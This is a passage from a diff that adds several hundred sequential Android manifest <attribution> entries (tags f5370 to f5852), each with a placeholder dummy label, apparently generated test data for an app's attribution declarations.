+  <attribution android:tag="f5370" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5371" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5372" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5373" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5374" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5375" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5376" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5377" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5378" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5379" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5380" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5381" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5382" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5383" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5384" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5385" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5386" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5387" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5388" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5389" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5390" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5391" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5392" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5393" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5394" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5395" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5396" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5397" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5398" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5399" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5400" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5401" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5402" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5403" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5404" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5405" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5406" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5407" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5408" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5409" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5410" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5411" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5412" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5413" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5414" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5415" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5416" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5417" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5418" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5419" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5420" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5421" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5422" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5423" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5424" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5425" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5426" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5427" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5428" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5429" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5430" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5431" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5432" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5433" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5434" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5435" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5436" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5437" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5438" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5439" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5440" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5441" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5442" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5443" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5444" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5445" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5446" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5447" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5448" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5449" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5450" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5451" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5452" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5453" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5454" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5455" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5456" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5457" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5458" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5459" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5460" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5461" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5462" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5463" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5464" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5465" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5466" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5467" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5468" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5469" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5470" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5471" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5472" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5473" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5474" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5475" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5476" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5477" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5478" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5479" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5480" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5481" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5482" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5483" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5484" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5485" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5486" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5487" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5488" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5489" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5490" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5491" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5492" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5493" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5494" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5495" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5496" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5497" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5498" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5499" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5500" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5501" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5502" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5503" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5504" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5505" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5506" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5507" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5508" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5509" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5510" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5511" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5512" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5513" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5514" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5515" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5516" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5517" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5518" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5519" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5520" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5521" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5522" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5523" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5524" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5525" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5526" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5527" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5528" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5529" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5530" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5531" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5532" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5533" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5534" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5535" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5536" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5537" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5538" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5539" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5540" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5541" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5542" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5543" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5544" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5545" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5546" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5547" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5548" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5549" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5550" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5551" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5552" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5553" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5554" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5555" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5556" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5557" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5558" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5559" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5560" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5561" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5562" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5563" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5564" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5565" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5566" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5567" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5568" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5569" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5570" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5571" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5572" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5573" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5574" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5575" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5576" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5577" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5578" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5579" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5580" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5581" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5582" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5583" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5584" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5585" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5586" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5587" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5588" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5589" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5590" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5591" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5592" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5593" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5594" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5595" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5596" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5597" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5598" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5599" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5600" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5601" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5602" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5603" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5604" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5605" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5606" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5607" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5608" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5609" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5610" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5611" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5612" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5613" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5614" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5615" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5616" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5617" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5618" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5619" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5620" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5621" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5622" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5623" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5624" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5625" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5626" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5627" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5628" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5629" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5630" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5631" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5632" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5633" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5634" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5635" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5636" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5637" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5638" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5639" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5640" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5641" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5642" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5643" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5644" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5645" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5646" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5647" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5648" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5649" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5650" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5651" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5652" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5653" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5654" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5655" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5656" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5657" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5658" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5659" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5660" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5661" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5662" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5663" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5664" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5665" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5666" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5667" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5668" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5669" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5670" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5671" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5672" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5673" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5674" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5675" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5676" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5677" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5678" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5679" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5680" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5681" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5682" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5683" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5684" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5685" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5686" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5687" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5688" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5689" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5690" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5691" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5692" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5693" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5694" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5695" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5696" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5697" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5698" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5699" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5700" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5701" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5702" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5703" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5704" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5705" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5706" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5707" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5708" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5709" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5710" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5711" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5712" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5713" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5714" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5715" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5716" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5717" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5718" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5719" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5720" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5721" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5722" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5723" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5724" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5725" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5726" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5727" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5728" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5729" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5730" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5731" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5732" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5733" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5734" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5735" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5736" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5737" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5738" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5739" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5740" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5741" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5742" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5743" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5744" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5745" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5746" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5747" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5748" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5749" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5750" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5751" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5752" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5753" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5754" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5755" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5756" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5757" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5758" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5759" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5760" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5761" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5762" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5763" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5764" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5765" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5766" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5767" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5768" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5769" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5770" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5771" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5772" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5773" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5774" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5775" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5776" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5777" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5778" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5779" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5780" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5781" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5782" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5783" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5784" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5785" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5786" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5787" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5788" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5789" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5790" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5791" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5792" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5793" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5794" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5795" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5796" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5797" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5798" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5799" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5800" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5801" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5802" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5803" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5804" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5805" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5806" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5807" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5808" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5809" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5810" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5811" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5812" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5813" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5814" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5815" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5816" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5817" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5818" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5819" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5820" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5821" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5822" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5823" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5824" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5825" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5826" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5827" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5828" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5829" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5830" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5831" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5832" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5833" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5834" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5835" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5836" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5837" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5838" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5839" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5840" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5841" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5842" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5843" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5844" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5845" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5846" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5847" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5848" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5849" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5850" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5851" android:label="@string/dummyLabel" />
+  <attribution android:tag="f5852" android:label="@string/dummyLabel" />
